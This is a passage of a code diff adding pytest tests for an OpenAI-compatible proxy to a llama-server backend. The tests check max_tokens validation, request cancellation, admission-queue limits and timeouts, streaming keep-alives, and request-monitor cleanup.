+                lambda: SimpleNamespace(
+                    is_loaded = True,
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    model_identifier = "gguf",
+                ),
+            )
+
+            await openai_completions(Request(), current_subject = "test")
+
+            assert captured[0]["max_tokens"] == 4096
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_completions_forwards_spec_valid_zero_max_tokens(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                state = SimpleNamespace()
+                url = SimpleNamespace(path = "/v1/completions")
+                method = "POST"
+
+                async def json(self):
+                    return {"prompt": "hi", "stream": False, "max_tokens": 0}
+
+            captured = []
+
+            class CapturingClient:
+                async def post(self, _url, *, json, **_kwargs):
+                    captured.append(dict(json))
+                    return httpx.Response(
+                        200,
+                        json = {
+                            "id": "cmpl-test",
+                            "choices": [{"text": "", "finish_reason": "length"}],
+                            "usage": {
+                                "prompt_tokens": 1,
+                                "completion_tokens": 0,
+                                "total_tokens": 1,
+                            },
+                        },
+                    )
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: CapturingClient())
+            monkeypatch.setattr(
+                inf_mod,
+                "get_llama_cpp_backend",
+                lambda: SimpleNamespace(
+                    is_loaded = True,
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    model_identifier = "gguf",
+                ),
+            )
+
+            await openai_completions(Request(), current_subject = "test")
+
+            assert captured[0]["max_tokens"] == 0
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_completions_rejects_non_integer_max_tokens_before_forwarding(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                state = SimpleNamespace()
+                url = SimpleNamespace(path = "/v1/completions")
+                method = "POST"
+
+                async def json(self):
+                    return {"prompt": "hi", "stream": False, "max_tokens": "128"}
+
+            class UnusedClient:
+                async def post(self, *_args, **_kwargs):
+                    raise AssertionError("invalid max_tokens must not reach llama-server")
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: UnusedClient())
+            monkeypatch.setattr(
+                inf_mod,
+                "get_llama_cpp_backend",
+                lambda: SimpleNamespace(
+                    is_loaded = True,
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    model_identifier = "gguf",
+                ),
+            )
+
+            with pytest.raises(HTTPException) as exc:
+                await openai_completions(Request(), current_subject = "test")
+
+            assert exc.value.status_code == 400
+            assert exc.value.detail["error"]["param"] == "max_tokens"
+            assert exc.value.detail["error"]["code"] == "invalid_type"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
     def test_monitor_openai_chunk_records_all_choice_replies(self, monkeypatch):
         import routes.inference as inf_mod
 
@@ -2793,6 +4908,8 @@ class TestApiMonitorProviderAndCompletionStreams:
                 yield 'data: {"choices":[{"delta":{"content":"hello"}}]}'
                 await asyncio.sleep(3600)
 
+            cancel_id = "passthrough-stream-delete-cancel"
+
             monitor = ApiMonitor(max_entries = 3)
             monkeypatch.setattr(inf_mod, "api_monitor", monitor)
             monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
@@ -2807,6 +4924,7 @@ class TestApiMonitorProviderAndCompletionStreams:
                 model = "default",
                 messages = [ChatMessage(role = "user", content = "hi")],
                 stream = True,
+                cancel_id = cancel_id,
                 tools = [
                     {
                         "type": "function",
@@ -2824,6 +4942,7 @@ class TestApiMonitorProviderAndCompletionStreams:
                 SimpleNamespace(
                     base_url = "http://llama.test",
                     context_length = 4096,
+                    _auth_headers = {"Authorization": "Bearer secret"},
                     _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
                 ),
                 payload,
@@ -2835,6 +4954,7 @@ class TestApiMonitorProviderAndCompletionStreams:
             iterator = response.body_iterator
             first = await anext(iterator)
             assert "hello" in first
+            assert cancel_id in inf_mod._CANCEL_REGISTRY
 
             pending = asyncio.create_task(anext(iterator))
             await asyncio.sleep(0)
@@ -2846,6 +4966,271 @@ class TestApiMonitorProviderAndCompletionStreams:
             assert entry["status"] == "cancelled"
             assert entry["reply"] == "hello"
             assert monitor.active_count() == 0
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_immediate_task_cancel_releases_admission_and_tracker(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fake_cancel_check(*_args, **_kwargs):
+                raise asyncio.CancelledError()
+
+            cancel_id = "passthrough-stream-immediate-task-cancel"
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "_raise_if_openai_admission_cancelled",
+                fake_cancel_check,
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                cancel_id = cancel_id,
+            )
+            backend = SimpleNamespace(
+                base_url = "http://llama.test",
+                context_length = 4096,
+                effective_parallel_slots = 1,
+                _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            )
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+
+            with pytest.raises(asyncio.CancelledError):
+                await _openai_passthrough_stream(
+                    self._Request(),
+                    threading.Event(),
+                    backend,
+                    payload,
+                    "gguf",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                )
+
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+            assert get_llama_admission_queue("http://llama.test").snapshot().active == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_queued_cancel_before_inner_first_chunk_runs_cleanup(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request(self._Request):
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+
+            body_holder = {}
+            cleanup_called = threading.Event()
+
+            async def fake_admitted(*_args, admission_lease, tracker, **_kwargs):
+                async def cleanup():
+                    admission_lease.release()
+                    tracker.__exit__(None, None, None)
+                    cleanup_called.set()
+
+                class BlockingBody:
+                    def __init__(self):
+                        self.started = threading.Event()
+                        self.closed = False
+
+                    def __aiter__(self):
+                        return self
+
+                    async def __anext__(self):
+                        self.started.set()
+                        await asyncio.sleep(3600)
+                        raise StopAsyncIteration
+
+                    async def aclose(self):
+                        self.closed = True
+                        await cleanup()
+
+                body = BlockingBody()
+                body_holder["body"] = body
+                return _SameTaskStreamingResponse(
+                    body,
+                    media_type = "text/event-stream",
+                    unstarted_cleanup = cleanup,
+                )
+
+            monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01")
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_stream_admitted",
+                fake_admitted,
+            )
+
+            queue = get_llama_admission_queue("http://llama.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            cancel_id = "queued-inner-unstarted-cleanup"
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                cancel_id = cancel_id,
+            )
+            response = await _openai_passthrough_stream(
+                Request(),
+                threading.Event(),
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    effective_parallel_slots = 1,
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                "chatcmpl-test",
+            )
+            iterator = response.body_iterator
+            try:
+                chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+                assert chunk == ": keep-alive\n\n"
+                assert cancel_id in inf_mod._CANCEL_REGISTRY
+
+                blocker.release()
+                pending = asyncio.create_task(iterator.__anext__())
+                for _ in range(100):
+                    if "body" in body_holder:
+                        break
+                    await asyncio.sleep(0.01)
+                body = body_holder["body"]
+                assert await asyncio.to_thread(body.started.wait, 1.0)
+
+                pending.cancel()
+                with pytest.raises(asyncio.CancelledError):
+                    await asyncio.wait_for(pending, timeout = 1.0)
+            finally:
+                aclose = getattr(iterator, "aclose", None)
+                if aclose is not None:
+                    await aclose()
+                blocker.release()
+
+            assert body_holder["body"].closed
+            assert cleanup_called.is_set()
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+            assert queue.snapshot().active == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_queued_cancel_after_inner_first_chunk_finalizes_monitor(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request(self._Request):
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+
+            async def fake_admitted(
+                *_args,
+                monitor_id = None,
+                admission_lease,
+                tracker,
+                **_kwargs,
+            ):
+                async def cleanup():
+                    admission_lease.release()
+                    tracker.__exit__(None, None, None)
+
+                async def body():
+                    try:
+                        yield 'data: {"choices":[{"delta":{"content":"hello"}}]}\n\n'
+                        await asyncio.sleep(3600)
+                    except asyncio.CancelledError:
+                        inf_mod.api_monitor.finish(monitor_id, "cancelled")
+                        raise
+                    finally:
+                        await cleanup()
+
+                return _SameTaskStreamingResponse(
+                    body(),
+                    media_type = "text/event-stream",
+                    unstarted_cleanup = cleanup,
+                )
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01")
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_stream_admitted",
+                fake_admitted,
+            )
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+
+            queue = get_llama_admission_queue("http://llama.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            cancel_id = "queued-inner-cancel-monitor"
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                cancel_id = cancel_id,
+            )
+            response = await _openai_passthrough_stream(
+                Request(),
+                threading.Event(),
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    effective_parallel_slots = 1,
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                "chatcmpl-test",
+                monitor_id = monitor_id,
+            )
+            iterator = response.body_iterator
+            try:
+                chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+                assert chunk == ": keep-alive\n\n"
+
+                blocker.release()
+                first = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+                assert "hello" in first
+
+                pending = asyncio.create_task(iterator.__anext__())
+                await asyncio.sleep(0)
+                pending.cancel()
+                with pytest.raises(asyncio.CancelledError):
+                    await asyncio.wait_for(pending, timeout = 1.0)
+            finally:
+                aclose = getattr(iterator, "aclose", None)
+                if aclose is not None:
+                    await aclose()
+                blocker.release()
+
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+            assert queue.snapshot().active == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
 
         asyncio.run(_run())
 
@@ -2931,6 +5316,313 @@ class TestApiMonitorProviderAndCompletionStreams:
 
         asyncio.run(_run())
 
+    def test_passthrough_usage_done_are_separate_sse_events(self, monkeypatch):
+        async def _run():
+            result = await self._run_passthrough_stream(
+                monkeypatch,
+                [
+                    'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,"model":"m","choices":[{"index":0,"delta":{"role":"assistant"},"finish_reason":null}]}',
+                    'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,"model":"m","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}',
+                    'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,"model":"m","choices":[],"usage":{"prompt_tokens":1,"completion_tokens":1,"total_tokens":2}}',
+                ],
+                stream_options = {"include_usage": True},
+            )
+
+            assert (
+                '"usage":{"prompt_tokens":1,"completion_tokens":1,"total_tokens":2' in result.body
+            )
+            assert "data: [DONE]" in result.body
+            assert "}\n\ndata: [DONE]\n\n" in result.body
+            assert "}\ndata: [DONE]\n\n" not in result.body
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_queued_request_sends_keepalive_before_upstream(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+                url = SimpleNamespace(path = "/v1/chat/completions")
+
+                async def is_disconnected(self):
+                    return False
+
+            async def fail_admitted(*_args, **_kwargs):
+                raise AssertionError("upstream must not start while request is queued")
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01")
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_openai_passthrough_stream_admitted", fail_admitted)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+
+            queue = get_llama_admission_queue("http://llama.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+            )
+            response = await _openai_passthrough_stream(
+                Request(),
+                threading.Event(),
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    effective_parallel_slots = 1,
+                    context_length = 4096,
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                "chatcmpl-test",
+                monitor_id = monitor_id,
+            )
+            iterator = response.body_iterator
+            try:
+                chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+                assert chunk == ": keep-alive\n\n"
+                snapshot = queue.snapshot()
+                assert snapshot.active == 1
+                assert snapshot.queued == 1
+            finally:
+                aclose = getattr(iterator, "aclose", None)
+                if aclose is not None:
+                    await aclose()
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_admission_timeout_before_upstream(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+                url = SimpleNamespace(path = "/v1/chat/completions")
+
+                async def is_disconnected(self):
+                    return False
+
+            async def fail_upstream(*_args, **_kwargs):
+                raise AssertionError("upstream must not start while request is queued")
+
+            monkeypatch.setenv(ADMISSION_QUEUE_TIMEOUT_ENV, "0.01")
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_non_streaming_upstream",
+                fail_upstream,
+            )
+
+            queue = get_llama_admission_queue("http://llama.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+            )
+            try:
+                with pytest.raises(HTTPException) as exc:
+                    await _openai_passthrough_non_streaming(
+                        SimpleNamespace(
+                            base_url = "http://llama.test",
+                            effective_parallel_slots = 1,
+                            context_length = 4096,
+                            _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                        ),
+                        payload,
+                        "gguf",
+                        request = Request(),
+                        cancel_event = threading.Event(),
+                    )
+                assert exc.value.status_code == 503
+            finally:
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_admission_queue_full_before_upstream(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+                url = SimpleNamespace(path = "/v1/chat/completions")
+
+                async def is_disconnected(self):
+                    return False
+
+            async def fail_upstream(*_args, **_kwargs):
+                raise AssertionError("upstream must not start when admission queue is full")
+
+            monkeypatch.setenv(ADMISSION_MAX_QUEUE_ENV, "1")
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_non_streaming_upstream",
+                fail_upstream,
+            )
+
+            queue = get_llama_admission_queue("http://llama.test")
+            blocker = queue.reserve(
+                capacity = 1,
+                config = LlamaAdmissionConfig(max_queue = 1),
+            ).lease_nowait()
+            queued = queue.reserve(capacity = 1, config = LlamaAdmissionConfig(max_queue = 1))
+            assert blocker is not None
+            assert queued.lease_nowait() is None
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+            )
+            try:
+                with pytest.raises(HTTPException) as exc:
+                    await _openai_passthrough_non_streaming(
+                        SimpleNamespace(
+                            base_url = "http://llama.test",
+                            effective_parallel_slots = 1,
+                            context_length = 4096,
+                            _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                        ),
+                        payload,
+                        "gguf",
+                        request = Request(),
+                        cancel_event = threading.Event(),
+                    )
+                assert exc.value.status_code == 429
+            finally:
+                queued.cancel()
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_immediate_cancel_stops_before_upstream(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fail_upstream(*_args, **_kwargs):
+                raise AssertionError("upstream must not start after client cancellation")
+
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_non_streaming_upstream",
+                fail_upstream,
+            )
+
+            cancel_event = threading.Event()
+            cancel_event.set()
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+            )
+
+            with pytest.raises(HTTPException) as exc:
+                await _openai_passthrough_non_streaming(
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        effective_parallel_slots = 1,
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "gguf",
+                    monitor_id = monitor_id,
+                    cancel_event = cancel_event,
+                )
+
+            assert exc.value.status_code == 499
+            assert get_llama_admission_queue("http://llama.test").snapshot().active == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_admission_task_cancel_finalizes_monitor(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fake_wait(*_args, **_kwargs):
+                raise asyncio.CancelledError()
+
+            async def fail_upstream(*_args, **_kwargs):
+                raise AssertionError("upstream must not start after admission task cancel")
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "_wait_for_openai_admission_non_streaming",
+                fake_wait,
+            )
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_non_streaming_upstream",
+                fail_upstream,
+            )
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+            )
+
+            with pytest.raises(asyncio.CancelledError):
+                await _openai_passthrough_non_streaming(
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        effective_parallel_slots = 1,
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "gguf",
+                    monitor_id = monitor_id,
+                    cancel_event = threading.Event(),
+                )
+
+            assert get_llama_admission_queue("http://llama.test").snapshot().active == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
     def test_passthrough_non_streaming_cancel_finalizes_monitor(self, monkeypatch):
         async def _run():
             import routes.inference as inf_mod
@@ -2990,6 +5682,407 @@ class TestApiMonitorProviderAndCompletionStreams:
 
         asyncio.run(_run())
 
+    def test_passthrough_non_streaming_cancel_closes_blocked_upstream_post(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class HangingCancelableClient:
+                def __init__(self):
+                    self.started = asyncio.Event()
+                    self.closed = asyncio.Event()
+
+                async def post(self, *_args, **_kwargs):
+                    self.started.set()
+                    await self.closed.wait()
+                    raise httpx.ReadError("client closed")
+
+                async def aclose(self):
+                    self.closed.set()
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            client = HangingCancelableClient()
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "_cancelable_nonstreaming_client",
+                lambda: client,
+            )
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            cancel_event = threading.Event()
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            task = asyncio.create_task(
+                _openai_passthrough_non_streaming(
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "gguf",
+                    monitor_id = monitor_id,
+                    request = Request(),
+                    cancel_event = cancel_event,
+                )
+            )
+            await asyncio.wait_for(client.started.wait(), 0.2)
+            cancel_event.set()
+
+            with pytest.raises(asyncio.CancelledError):
+                await asyncio.wait_for(task, 0.5)
+
+            assert client.closed.is_set()
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_route_registers_cancel_id(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class HangingCancelableClient:
+                def __init__(self):
+                    self.started = asyncio.Event()
+                    self.closed = asyncio.Event()
+
+                async def post(self, *_args, **_kwargs):
+                    self.started.set()
+                    await self.closed.wait()
+                    raise httpx.ReadError("client closed")
+
+                async def aclose(self):
+                    self.closed.set()
+
+            class Request:
+                state = SimpleNamespace()
+                url = SimpleNamespace(path = "/v1/chat/completions")
+                method = "POST"
+
+                async def is_disconnected(self):
+                    return False
+
+            cancel_id = "passthrough-nonstream-cancel-id"
+            client = HangingCancelableClient()
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_cancelable_nonstreaming_client", lambda: client)
+
+            def _plain(**_kwargs):
+                raise AssertionError("plain GGUF path should not be used")
+
+            monkeypatch.setattr(
+                inf_mod,
+                "get_llama_cpp_backend",
+                lambda: SimpleNamespace(
+                    is_loaded = True,
+                    is_vision = False,
+                    supports_tools = True,
+                    _is_audio = False,
+                    model_identifier = "test-gguf",
+                    context_length = 4096,
+                    base_url = "http://llama.test",
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    generate_chat_completion = _plain,
+                ),
+            )
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                cancel_id = cancel_id,
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            task = asyncio.create_task(
+                openai_chat_completions(
+                    payload,
+                    request = Request(),
+                    current_subject = "test",
+                )
+            )
+            await asyncio.wait_for(client.started.wait(), 0.2)
+            assert cancel_id in inf_mod._CANCEL_REGISTRY
+            assert inf_mod._cancel_by_cancel_id_or_stash(cancel_id) == 1
+
+            with pytest.raises(asyncio.CancelledError):
+                await asyncio.wait_for(task, 0.5)
+
+            assert client.closed.is_set()
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_disconnect_closes_blocked_upstream_post(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class HangingCancelableClient:
+                def __init__(self):
+                    self.started = asyncio.Event()
+                    self.closed = asyncio.Event()
+
+                async def post(self, *_args, **_kwargs):
+                    self.started.set()
+                    await self.closed.wait()
+                    raise httpx.ReadError("client closed")
+
+                async def aclose(self):
+                    self.closed.set()
+
+            class Request:
+                def __init__(self):
+                    self.disconnected = False
+
+                async def is_disconnected(self):
+                    return self.disconnected
+
+            client = HangingCancelableClient()
+            request = Request()
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "_cancelable_nonstreaming_client",
+                lambda: client,
+            )
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            cancel_event = threading.Event()
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            task = asyncio.create_task(
+                _openai_passthrough_non_streaming(
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "gguf",
+                    monitor_id = monitor_id,
+                    request = request,
+                    cancel_event = cancel_event,
+                )
+            )
+            await asyncio.wait_for(client.started.wait(), 0.2)
+            request.disconnected = True
+
+            with pytest.raises(asyncio.CancelledError):
+                await asyncio.wait_for(task, 0.5)
+
+            assert client.closed.is_set()
+            assert cancel_event.is_set()
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_forwards_backend_auth_headers(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            captured = {}
+
+            class FakeNonStreamingClient:
+                async def post(self, *_args, **kwargs):
+                    captured["headers"] = kwargs.get("headers")
+                    return httpx.Response(
+                        200,
+                        json = {
+                            "id": "chatcmpl-test",
+                            "object": "chat.completion",
+                            "created": 123,
+                            "model": "gguf",
+                            "choices": [
+                                {
+                                    "index": 0,
+                                    "message": {"role": "assistant", "content": "OK"},
+                                    "finish_reason": "stop",
+                                }
+                            ],
+                        },
+                    )
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "nonstreaming_client",
+                lambda: FakeNonStreamingClient(),
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            response = await _openai_passthrough_non_streaming(
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    _auth_headers = {"Authorization": "Bearer secret"},
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                monitor_id = monitor_id,
+            )
+
+            assert json.loads(response.body)["choices"][0]["message"]["content"] == "OK"
+            assert captured["headers"]["Authorization"] == "Bearer secret"
+            assert captured["headers"]["Connection"] == "close"
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_forces_upstream_stream_false(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            captured = {}
+
+            class FakeNonStreamingClient:
+                async def __aenter__(self):
+                    return self
+
+                async def __aexit__(self, *_args):
+                    return False
+
+                async def post(self, *_args, **kwargs):
+                    captured["json"] = kwargs.get("json")
+                    return httpx.Response(
+                        200,
+                        json = {
+                            "id": "chatcmpl-test",
+                            "object": "chat.completion",
+                            "created": 123,
+                            "model": "gguf",
+                            "choices": [
+                                {
+                                    "index": 0,
+                                    "message": {"role": "assistant", "content": "OK"},
+                                    "finish_reason": "stop",
+                                }
+                            ],
+                            "usage": {
+                                "prompt_tokens": 1,
+                                "completion_tokens": 1,
+                                "total_tokens": 2,
+                            },
+                        },
+                    )
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "nonstreaming_client",
+                lambda: FakeNonStreamingClient(),
+            )
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
